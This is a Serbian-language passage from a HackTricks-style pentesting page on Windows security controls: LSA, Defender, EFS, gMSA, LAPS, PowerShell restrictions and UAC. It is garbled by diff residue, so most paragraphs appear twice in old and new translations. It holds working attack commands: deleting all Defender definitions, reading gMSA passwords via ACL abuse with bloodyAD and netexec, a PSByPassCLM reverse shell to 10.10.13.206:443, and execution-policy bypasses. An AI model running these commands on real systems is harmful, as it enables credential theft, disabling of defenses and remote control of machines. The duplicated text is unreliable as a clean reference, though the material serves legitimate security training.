**Kredencijali** (heširani) su **sačuvani** u **memoriji** ovog subsistema iz razloga Single Sign-On.\
**LSA** administrira lokalnu **bezbednosnu politiku** (politika lozinki, dozvole korisnika...), **autentikaciju**, **access tokens**...\
LSA će biti taj koji će **proveravati** prosleđene kredencijale unutar **SAM** fajla (za lokalnu prijavu) i **komunicirati** sa **domain controller-om** da autentifikuje korisnika domena.
**Kredencijali** su **sačuvani** unutar **procesa LSASS**: Kerberos karte, NT i LM heševi, lako dekriptovane lozinke.
**Kredencijali** su **sačuvani** unutar **process-a LSASS**: Kerberos tiketi, NT i LM heševi, lako dešifrovane lozinke.
### LSA secrets
### LSA tajne
LSA može sačuvati na disku neke kredencijale:
- Lozinka računa računara Active Directory (nepristupačan kontroler domena).
- Lozinke računa Windows servisa
- Lozinke za zakazane zadatke
- Više (lozinka IIS aplikacija...)
- Lozinka computer naloga Active Directory-ja (ako domain controller nije dostupan).
- Lozinke naloga Windows servisa
- Lozinke za scheduled tasks
- Još (lozinke IIS aplikacija...)
### NTDS.dit
To je baza podataka Active Directory. Prisutna je samo u Kontrolerima domena.
To je baza podataka Active Directory-ja. Prisutna je samo na Domain Controller-ima.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) je antivirus koji je dostupan u Windows 10 i Windows 11, i u verzijama Windows Server-a. **Blokira** uobičajene pentesting alate kao što je **`WinPEAS`**. Međutim, postoje načini da se **zaobiđu ove zaštite**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) je antivirus dostupan u Windows 10 i Windows 11, kao i u verzijama Windows Server-a. On **blokira** uobičajene pentesting alate kao što su **`WinPEAS`**. Međutim, postoje načini da se **zaobiđu ove zaštite**.
### Check
### Provera
Da proverite **status** **Defender-a** možete izvršiti PS cmdlet **`Get-MpComputerStatus`** (proverite vrednost **`RealTimeProtectionEnabled`** da biste znali da li je aktivan):
Da biste proverili **status** **Defender-a** možete pokrenuti PS cmdlet **`Get-MpComputerStatus`** (proverite vrednost **`RealTimeProtectionEnabled`** da znate da li je aktivan):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
Da biste ga enumerisali, možete takođe pokrenuti:
Za enumeraciju ga takođe možete pokrenuti:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -101,68 +101,105 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## Sistem za enkripciju fajlova (EFS)
EFS obezbeđuje datoteke putem enkripcije, koristeći **simetrični ključ** poznat kao **Ključ za enkripciju datoteka (FEK)**. Ovaj ključ je enkriptovan javnim ključem korisnika i smešten je unutar $EFS **alternativnog toka podataka** enkriptovane datoteke. Kada je potrebna dekripcija, koristi se odgovarajući **privatni ključ** digitalnog sertifikata korisnika za dekripciju FEK-a iz $EFS toka. Više detalja možete pronaći [ovde](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS štiti fajlove pomoću enkripcije, koristeći **simetrični ključ** poznat kao **File Encryption Key (FEK)**. Ovaj ključ se šifruje korisnikovim **javnim ključem** i čuva u $EFS **alternative data stream** šifrovanog fajla. Kada je potrebno dešifrovanje, odgovarajući **privatni ključ** korisničkog digitalnog sertifikata koristi se za dešifrovanje FEK-a iz $EFS stream-a. Više detalja možete pronaći [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Scenariji dekripcije bez inicijacije korisnika** uključuju:
**Scenariji dešifrovanja bez inicijative korisnika** uključuju:
- Kada se datoteke ili fascikle presele na ne-EFS datotečni sistem, kao što je [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), automatski se dekriptuju.
- Enkriptovane datoteke poslate preko mreže putem SMB/CIFS protokola dekriptuju se pre prenosa.
- Kada se fajlovi ili folderi premeste na fajl sistem koji nije EFS, kao što je [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), oni se automatski dešifruju.
- Šifrovani fajlovi poslati preko mreže koristeći SMB/CIFS protokol se dešifruju pre prenosa.
Ova metoda enkripcije omogućava **transparentan pristup** enkriptovanim datotekama za vlasnika. Međutim, jednostavno menjanje lozinke vlasnika i prijavljivanje neće omogućiti dekripciju.
Ova metoda enkripcije omogućava **transparentan pristup** šifrovanim fajlovima vlasniku. Međutim, samo menjanje vlasnikove lozinke i prijava neće obezbediti dešifrovanje.
**Ključne tačke**:
Zaključci:
- EFS koristi simetrični FEK, enkriptovan javnim ključem korisnika.
- Dekripcija koristi privatni ključ korisnika za pristup FEK-u.
- Automatska dekripcija se dešava pod specifičnim uslovima, kao što su kopiranje na FAT32 ili mrežni prenos.
- Enkriptovane datoteke su dostupne vlasniku bez dodatnih koraka.
- EFS koristi simetrični FEK, koji je šifrovan korisnikovim javnim ključem.
- Dešifrovanje koristi korisnikov privatni ključ da pristupi FEK-u.
- Automatsko dešifrovanje se dešava u specifičnim uslovima, kao što su kopiranje na FAT32 ili mrežni prenos.
- Šifrovani fajlovi su vlasniku dostupni bez dodatnih koraka.
### Proverite EFS informacije
### Provera informacija o EFS
Proverite da li je **korisnik** **koristio** ovu **uslugu** proverom da li ovaj put postoji: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Proverite da li je **korisnik** **koristio** ovu **uslugu** proverom da li postoji ovaj put:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Proverite **ko** ima **pristup** datoteci koristeći cipher /c \<file>\
Takođe možete koristiti `cipher /e` i `cipher /d` unutar fascikle da **enkriptujete** i **dekriptujete** sve datoteke
Proverite **ko** ima **pristup** fajlu koristeći cipher /c \<file>\
Takođe možete koristiti `cipher /e` i `cipher /d` unutar foldera da **enkriptujete** i **dešifrujete** sve fajlove
### Dekripcija EFS datoteka
### Dekripcija EFS fajlova
#### Biti Autoritet Sistem
#### Biti SYSTEM
Ovaj način zahteva da **žrtva korisnik** bude **pokrenut** u **procesu** unutar hosta. Ako je to slučaj, koristeći `meterpreter` sesije možete imitirati token procesa korisnika (`impersonate_token` iz `incognito`). Ili možete jednostavno `migrirati` u proces korisnika.
Ovaj način zahteva da žrtvin **korisnik** pokreće neki **proces** na hostu. Ako je to slučaj, koristeći `meterpreter` sesiju možete imitirati token procesa tog korisnika (`impersonate_token` iz `incognito`). Ili jednostavno možete `migrate` u proces tog korisnika.
#### Poznavanje lozinke korisnika
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## Grupni upravljani servisni nalozi (gMSA)
Microsoft je razvio **Group Managed Service Accounts (gMSA)** kako bi pojednostavio upravljanje servisnim nalozima u IT infrastrukturnim sistemima. Za razliku od tradicionalnih servisnih naloga koji često imaju podešavanje "**Lozinka nikada ne ističe**" omogućeno, gMSA nude sigurnije i upravljivije rešenje:
Microsoft je razvio **Group Managed Service Accounts (gMSA)** da pojednostavi upravljanje servisnim nalozima u IT infrastrukturi. Za razliku od tradicionalnih servisnih naloga koji često imaju uključenu opciju "**Password never expire**", gMSA pružaju sigurnije i jednostavnije rešenje:
- **Automatsko upravljanje lozinkama**: gMSA koriste složenu, 240-karakterističnu lozinku koja se automatski menja u skladu sa politikom domena ili računara. Ovaj proces se obavlja putem Microsoftove usluge za distribuciju ključeva (KDC), eliminišući potrebu za ručnim ažuriranjima lozinki.
- **Povećana sigurnost**: Ovi nalozi su imuni na zaključavanje i ne mogu se koristiti za interaktivna prijavljivanja, čime se povećava njihova sigurnost.
- **Podrška za više hostova**: gMSA se mogu deliti između više hostova, što ih čini idealnim za usluge koje se pokreću na više servera.
- **Mogućnost zakazanih zadataka**: Za razliku od upravljanih servisnih naloga, gMSA podržavaju pokretanje zakazanih zadataka.
- **Pojednostavljeno upravljanje SPN-om**: Sistem automatski ažurira Ime servisnog principala (SPN) kada dođe do promena u detaljima sAMaccount-a računara ili DNS imenu, pojednostavljujući upravljanje SPN-om.
- **Automatsko upravljanje lozinkom**: gMSA koriste kompleksnu, 240-karakternu lozinku koja se automatski menja u skladu sa politikom domena ili računara. Ovaj proces obavlja Microsoft-ov Key Distribution Service (KDC), eliminišući potrebu za ručnim ažuriranjem lozinki.
- **Povećana bezbednost**: ovi nalozi su imuni na zaključavanja i ne mogu se koristiti za interaktivne prijave, što poboljšava bezbednost.
- **Podrška za više hostova**: gMSA se mogu deliti na više hostova, što ih čini idealnim za servise koji rade na više servera.
- **Mogućnost zakazanih zadataka**: za razliku od managed service accounts, gMSA podržavaju pokretanje zakazanih zadataka.
- **Pojednostavljeno upravljanje SPN-om**: sistem automatski ažurira Service Principal Name (SPN) kada dođe do promena u sAMaccount detaljima računara ili DNS imenu, što pojednostavljuje upravljanje SPN-om.
Lozinke za gMSA se čuvaju u LDAP svojstvu _**msDS-ManagedPassword**_ i automatski se resetuju svake 30 dana od strane kontrolera domena (DC). Ova lozinka, enkriptovani podatkovni blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može se dobiti samo od ovlašćenih administratora i servera na kojima su gMSA instalirani, obezbeđujući sigurno okruženje. Da biste pristupili ovim informacijama, potrebna je sigurna veza kao što je LDAPS, ili veza mora biti autentifikovana sa 'Sealing & Secure'.
Lozinke za gMSA se čuvaju u LDAP atributu _**msDS-ManagedPassword**_ i automatski se resetuju svakih 30 dana od strane Domain Controller-a (DC). Ova lozinka, enkriptovani data blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može biti dohvaćena samo od strane autorizovanih administratora i servera na kojima su gMSA instalirani, što obezbeđuje sigurno okruženje. Za pristup ovim informacijama potreban je zaštićen konekcija kao što je LDAPS, ili konekcija mora biti autentifikovana sa 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
Možete pročitati ovu lozinku sa [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
Ovu lozinku možete pročitati pomoću [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**Pronađite više informacija u ovom postu**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Takođe, pogledajte ovu [web page](https://cube0x0.github.io/Relaying-for-gMSA/) o tome kako izvesti **NTLM relay attack** da biste pročitali **lozinku** **gMSA**.
### Zloupotreba povezivanja ACL-ova za čitanje upravljane lozinke gMSA (GenericAll -> ReadGMSAPassword)
U mnogim okruženjima, korisnici sa niskim privilegijama mogu doći do tajni gMSA bez kompromitovanja DC-a zloupotrebom pogrešno konfigurisanim ACL-ovima objekata:
- Grupi kojom možete upravljati (npr. preko GenericAll/GenericWrite) dodeljeno je `ReadGMSAPassword` nad gMSA.
- Dodavanjem sebe u tu grupu nasleđujete pravo da pročitate `msDS-ManagedPassword` blob gMSA preko LDAP-a i dođete do upotrebljivih NTLM kredencijala.
Tipičan tok rada:
1) Pronađite put pomoću BloodHound i označite svoje foothold principals kao Owned. Potražite ivice kao:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Dodajte sebe u posrednu grupu kojom upravljate (primer sa bloodyAD):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Pročitajte upravljanu lozinku gMSA preko LDAP-a i izvedite NTLM hash. NetExec automatizuje ekstrakciju `msDS-ManagedPassword` i konverziju u NTLM:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) Autentifikujte se kao gMSA koristeći NTLM hash (nije potreban plaintext). Ako je nalog u Remote Management Users, WinRM će raditi direktno:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Napomene:
- LDAP čitanja atributa `msDS-ManagedPassword` zahtevaju sealing (npr. LDAPS/sign+seal). Alati ovo automatski obrađuju.
- gMSA-ima se često dodeljuju lokalna prava kao što je WinRM; proverite članstvo u grupama (npr. Remote Management Users) da biste planirali lateral movement.
- Ako vam je potreban samo blob da sami izračunate NTLM, pogledajte strukturu MSDS-MANAGEDPASSWORD_BLOB.
Takođe, proverite ovu [web stranicu](https://cube0x0.github.io/Relaying-for-gMSA/) o tome kako izvršiti **NTLM relay attack** da **pročitate** **lozinku** **gMSA**.
## LAPS
**Rešenje za lozinke lokalnog administratora (LAPS)**, dostupno za preuzimanje sa [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), omogućava upravljanje lozinkama lokalnog administratora. Ove lozinke, koje su **nasumične**, jedinstvene i **redovno menjane**, čuvaju se centralno u Active Directory. Pristup ovim lozinkama je ograničen putem ACL-a na ovlašćene korisnike. Uz dodeljene dovoljne dozvole, omogućeno je čitanje lozinki lokalnog administratora.
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), omogućava upravljanje lokalnim Administrator lozinkama. Ove lozinke, koje su **nasumično generisane**, jedinstvene i **redovno menjane**, čuvaju se centralno u Active Directory. Pristup ovim lozinkama je ograničen ACL-ima samo za ovlašćene korisnike. Ako su dodeljena odgovarajuća prava, omogućeno je čitanje lokalnih admin lozinki.
{{#ref}}
../active-directory-methodology/laps.md
@ -170,34 +207,34 @@ Takođe, proverite ovu [web stranicu](https://cube0x0.github.io/Relaying-for-gMS
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ograničava mnoge funkcije** potrebne za efikasno korišćenje PowerShell-a, kao što su blokiranje COM objekata, dozvoljavanje samo odobrenih .NET tipova, XAML-bazirani radni tokovi, PowerShell klase i još mnogo toga.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ograničava mnoge funkcionalnosti** potrebne za efikasno korišćenje PowerShell-a, kao što su blokiranje COM objekata, dozvoljavanje samo odobrenih .NET tipova, XAML-based workflows, PowerShell classes, i slično.
### **Proveri**
### **Proverite**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Zaobilaženje
### Bypass
```bash
#Easy bypass
Powershell -version 2
```
U trenutnom Windows-u ta zaobilaženje neće raditi, ali možete koristiti [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Da biste ga kompajlirali, možda ćete morati** **da** _**dodate referencu**_ -> _Pretraži_ -> _Pretraži_ -> dodajte `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **promenite projekat na .Net4.5**.
Na aktuelnim verzijama Windows-a taj Bypass neće raditi, ali možete koristiti[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Za kompajliranje možda ćete morati** **da** _**Dodate referencu**_ -> _Browse_ ->_Browse_ -> dodajte `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **promenite projekat na .Net4.5**.
#### Direktno zaobilaženje:
#### Direktan bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### Obrnuta ljuska:
#### Reverse shell:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **izvršite Powershell** kod u bilo kojem procesu i zaobiđete ograničeni režim. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da izvršite Powershell kod u bilo kojem procesu i zaobiđete ograničeni režim. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS Politika izvršenja
## PS politika izvršavanja
Podrazumevano je postavljena na **restricted.** Glavni načini za zaobilaženje ove politike:
Podrazumevano je podešeno na **restricted.** Glavni načini za zaobilaženje ove politike:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -217,35 +254,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
Više informacija se može naći [ovde](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
Više informacija se može naći [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Security Support Provider Interface (SSPI)
Je API koji se može koristiti za autentifikaciju korisnika.
To je API koji se može koristiti za autentifikaciju korisnika.
SSPI će biti zadužen za pronalaženje adekvatnog protokola za dve mašine koje žele da komuniciraju. Preferirani metod za ovo je Kerberos. Zatim će SSPI pregovarati koji autentifikacioni protokol će se koristiti, ovi autentifikacioni protokoli se nazivaju Security Support Provider (SSP), nalaze se unutar svake Windows mašine u obliku DLL-a i obe mašine moraju podržavati isti da bi mogle da komuniciraju.
SSPI će biti zadužen za pronalaženje odgovarajućeg protokola za dve mašine koje žele da komuniciraju. Preferirani metod za to je Kerberos. Zatim će SSPI pregovarati koji autentifikacioni protokol će biti korišćen; ti autentifikacioni protokoli se zovu Security Support Provider (SSP), nalaze se na svakoj Windows mašini u obliku DLL-a i obe mašine moraju podržavati isti da bi mogle da komuniciraju.
### Glavni SSP-ovi
- **Kerberos**: Preferirani
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** i **NTLMv2**: Razlozi kompatibilnosti
- **NTLMv1** and **NTLMv2**: Razlozi kompatibilnosti
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web serveri i LDAP, lozinka u obliku MD5 heša
- **Digest**: web serveri i LDAP, lozinka u obliku MD5 heša
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL i TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Koristi se za pregovaranje o protokolu koji će se koristiti (Kerberos ili NTLM, pri čemu je Kerberos podrazumevani)
- %windir%\Windows\System32\lsasrv.dll
#### Pregovaranje može ponuditi nekoliko metoda ili samo jednu.
#### Pregovori mogu ponuditi više metoda ili samo jednu.
## UAC - Kontrola korisničkog naloga
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) je funkcija koja omogućava **upit za saglasnost pri aktivnostima sa povišenim privilegijama**.
[Kontrola korisničkog naloga (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) je funkcija koja omogućava **izdavanje saglasnosti za uzvišene aktivnosti**.
{{#ref}}
uac-user-account-control.md
{{#endref}}
## References
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
- [HTB Sendai 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}